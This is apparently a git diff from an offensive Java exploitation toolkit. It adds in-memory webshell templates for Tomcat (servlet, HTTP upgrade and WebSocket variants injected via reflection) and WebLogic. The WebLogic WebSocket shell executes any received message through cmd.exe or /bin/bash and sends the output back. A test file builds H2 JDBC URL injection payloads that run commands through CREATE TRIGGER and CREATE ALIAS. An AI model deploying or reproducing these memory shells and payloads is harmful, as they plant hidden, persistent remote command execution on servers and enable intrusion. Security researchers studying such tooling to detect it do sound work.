@author QI4L + */ +public class TSMSFromThread implements Servlet { + + public static String pattern; + + public static String NAME; + + static { + try { + // 获取 standardContext + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + + StandardContext standardContext; + + try { + standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); + } catch (Exception ignored) { + Field field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); + field.setAccessible(true); + Object root = field.get(webappClassLoaderBase); + Field field2 = root.getClass().getDeclaredField("context"); + field2.setAccessible(true); + + standardContext = (StandardContext) field2.get(root); + } + + + if (standardContext.findChild(NAME) == null) { + Wrapper wrapper = standardContext.createWrapper(); + wrapper.setName(NAME); + standardContext.addChild(wrapper); + Servlet servlet = new TSMSFromThread(); + + wrapper.setServletClass(servlet.getClass().getName()); + wrapper.setServlet(servlet); + ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext); + registration.addMapping(pattern); + } + } catch (Exception ignored) { + } + } + + @Override + public void init(ServletConfig servletConfig) throws ServletException { + + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest servletRequest, ServletResponse servletResponse) { + } + + @Override + public String getServletInfo() { + return null; + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TUGMSFromJMX.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TUGMSFromJMX.java new file mode 100644 index 0000000..63be83f --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TUGMSFromJMX.java @@ -0,0 +1,100 @@ +package com.qi4l.JYso.template.memshellStatic.tomcat; + +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; +import org.apache.catalina.connector.Connector; +import org.apache.coyote.Adapter; +import org.apache.coyote.Processor; +import org.apache.coyote.Request; +import org.apache.coyote.UpgradeProtocol; +import org.apache.coyote.http11.AbstractHttp11Protocol; +import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler; +import org.apache.tomcat.util.modeler.Registry; +import org.apache.tomcat.util.net.SocketWrapperBase; + +import javax.management.DynamicMBean; +import javax.management.MBeanServer; +import java.lang.reflect.Field; +import java.util.HashMap; + +/** + * Tomcat Upgrade 内存马 + */ +public class TUGMSFromJMX implements UpgradeProtocol { + public static String pattern; + + static { + try { + MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); + Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + Object obj = field.get(mbeanServer); + + field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); + field.setAccessible(true); + Repository repository = (Repository) field.get(obj); + + Field field1 = repository.getClass().getDeclaredField("domainTb"); + field1.setAccessible(true); + + HashMap map = (HashMap) field1.get(repository); + HashMap catalinaMap = (HashMap) map.get("Catalina"); + + for (int i = 0; i < catalinaMap.keySet().size(); i++) { + Object key = catalinaMap.keySet().toArray()[i]; + if (key.toString().contains("type=Connector")) { + NamedObject namedObject = (NamedObject) catalinaMap.get(key); + DynamicMBean dynamicMBean = namedObject.getObject(); + + Field field2 = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); + field2.setAccessible(true); + Connector connector = (Connector) field2.get(dynamicMBean); + + Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler"); + protocolHandlerField.setAccessible(true); + AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(connector); + + Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols"); + upgradeProtocolsField.setAccessible(true); + HashMap upgradeProtocols = (HashMap) upgradeProtocolsField.get(handler); + + upgradeProtocols.put(pattern.substring(1), new TUGMSFromJMX()); + upgradeProtocolsField.set(handler, upgradeProtocols); + break; + } + } + } catch (Exception ignored) { + } + + } + + @Override + public String getHttpUpgradeName(boolean b) { + return null; + } + + @Override + public byte[] getAlpnIdentifier() { + return new byte[0]; + } + + @Override + public String getAlpnName() { + return null; + } + + @Override + public Processor getProcessor(SocketWrapperBase socketWrapperBase, Adapter adapter) { + return null; + } + + @Override + public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request) { + return null; + } + + @Override + public boolean accept(Request request) { + return false; + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TWSMSFromThread.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TWSMSFromThread.java new file mode 100644 index 0000000..eb9f56a --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TWSMSFromThread.java @@ -0,0 +1,60 @@ +package com.qi4l.JYso.template.memshellStatic.tomcat; + +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.loader.WebappClassLoaderBase; +import org.apache.tomcat.websocket.server.WsServerContainer; + +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; +import java.lang.reflect.Field; + +/** + * Executor 内存马 + * + * @author QI4L + */ +public class TWSMSFromThread extends Endpoint implements MessageHandler.Whole { + + public static String pattern; + + static { + try { + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + StandardContext standardContext; + + try { + standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); + } catch (Exception ignored) { + Field field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); + field.setAccessible(true); + Object root = field.get(webappClassLoaderBase); + Field field2 = root.getClass().getDeclaredField("context"); + field2.setAccessible(true); + + standardContext = (StandardContext) field2.get(root); + } + + ServerEndpointConfig build = ServerEndpointConfig.Builder.create(TWSMSFromThread.class, pattern).build(); + WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); + attribute.addEndpoint(build); + standardContext.getServletContext().setAttribute(pattern, pattern); + } catch (Exception ignored) { + } + } + + public Session session; + + public void onMessage(String message) { + } + + + @Override + public void onOpen(Session session, EndpointConfig config) { + this.session = session; + session.addMessageHandler(this); + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/weblogic/WsWeblogic.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/weblogic/WsWeblogic.java new file mode 100644 index 0000000..aa0cbf2 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/weblogic/WsWeblogic.java @@ -0,0 +1,107 @@ +package com.qi4l.JYso.template.memshellStatic.weblogic; + +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; +import org.glassfish.tyrus.server.TyrusServerContainer; +import weblogic.servlet.internal.HttpConnectionHandler; +import weblogic.servlet.internal.ServletRequestImpl; +import weblogic.servlet.internal.WebAppServletContext; +import weblogic.servlet.provider.ContainerSupportProviderImpl; + +import javax.management.MBeanServer; +import javax.management.ObjectName; +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; +import java.io.InputStream; +import java.lang.management.ManagementFactory; +import java.lang.reflect.Field; +import java.util.HashSet; +import java.util.Set; + +public class WsWeblogic extends Endpoint implements MessageHandler.Whole { + + static { + try { + Thread threadLocal = Thread.currentThread(); + Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); + workEntry.setAccessible(true); + weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor wlsRequestExecutor = (ContainerSupportProviderImpl.WlsRequestExecutor) workEntry.get(threadLocal); + Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); + field1.setAccessible(true); + weblogic.servlet.internal.HttpConnectionHandler connectionHandler = (HttpConnectionHandler) field1.get(wlsRequestExecutor); + ServletRequestImpl request = connectionHandler.getServletRequest(); + String path = request.getParameter("path"); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(WsWeblogic.class, path).build(); + MBeanServer server = ManagementFactory.getPlatformMBeanServer(); + Field field = server.getClass().getDeclaredField("wrappedMBeanServer"); + field.setAccessible(true); + Object obj = field.get(server); + field = obj.getClass().getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + obj = field.get(obj); + field = obj.getClass().getDeclaredField("repository"); + field.setAccessible(true); + Repository repository = (Repository) field.get(obj); + Set namedObjects = repository.query(new ObjectName("com.bea:Type=ApplicationRuntime,*"), null); + for (NamedObject namedObject : namedObjects) { + field = namedObject.getObject().getClass().getDeclaredField("managedResource"); + field.setAccessible(true); + obj = field.get(namedObject.getObject()); + field = obj.getClass().getSuperclass().getDeclaredField("children"); + field.setAccessible(true); + HashSet set = (HashSet) field.get(obj); + for (Object o : set) { + if (o.getClass().getName().endsWith("WebAppRuntimeMBeanImpl")) { + field = o.getClass().getDeclaredField("context"); + field.setAccessible(true); + WebAppServletContext servletContext = (WebAppServletContext) field.get(o); + TyrusServerContainer container = (TyrusServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); + try { + container.register((jakarta.websocket.server.ServerEndpointConfig) configEndpoint); + System.out.println("add success,path: " + servletContext.getContextPath() + path); + } catch (Exception e) { + + } + } + } + } + } catch (Exception ignored) { + } + + } + + private Session session; + + @Override + public void onMessage(String s) { + try { + Process process; + boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); + if (bool) { + process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s}); + } else { + process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s}); + } + InputStream inputStream = process.getInputStream(); + StringBuilder stringBuilder = new StringBuilder(); + int i; + while ((i = inputStream.read()) != -1) + stringBuilder.append((char) i); + inputStream.close(); + process.waitFor(); + session.getBasicRemote().sendText(stringBuilder.toString()); + } catch (Exception exception) { + exception.printStackTrace(); + } + } + + @Override + public void onOpen(Session session, EndpointConfig endpointConfig) { + this.session = session; + session.addMessageHandler(this); + } +} diff --git a/src/test/java/Main.java b/src/test/java/Main.java new file mode 100644 index 0000000..aa2a814 --- /dev/null +++ b/src/test/java/Main.java @@ -0,0 +1,22 @@ +import org.fusesource.jansi.Ansi; +import org.fusesource.jansi.AnsiConsole; + +import java.util.Random; + + +public class Main { + + public static void main(String[] args) { + String cmd = "calc"; + String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"" + cmd + "\")"; + String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER test BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS '"+ javascript +"'"; + //System.out.println(JDBC_URL); + + String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;" + + "INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;" + + "CALL EXEC ('" + cmd + "')\\;"; + + System.out.println(url); + } + +}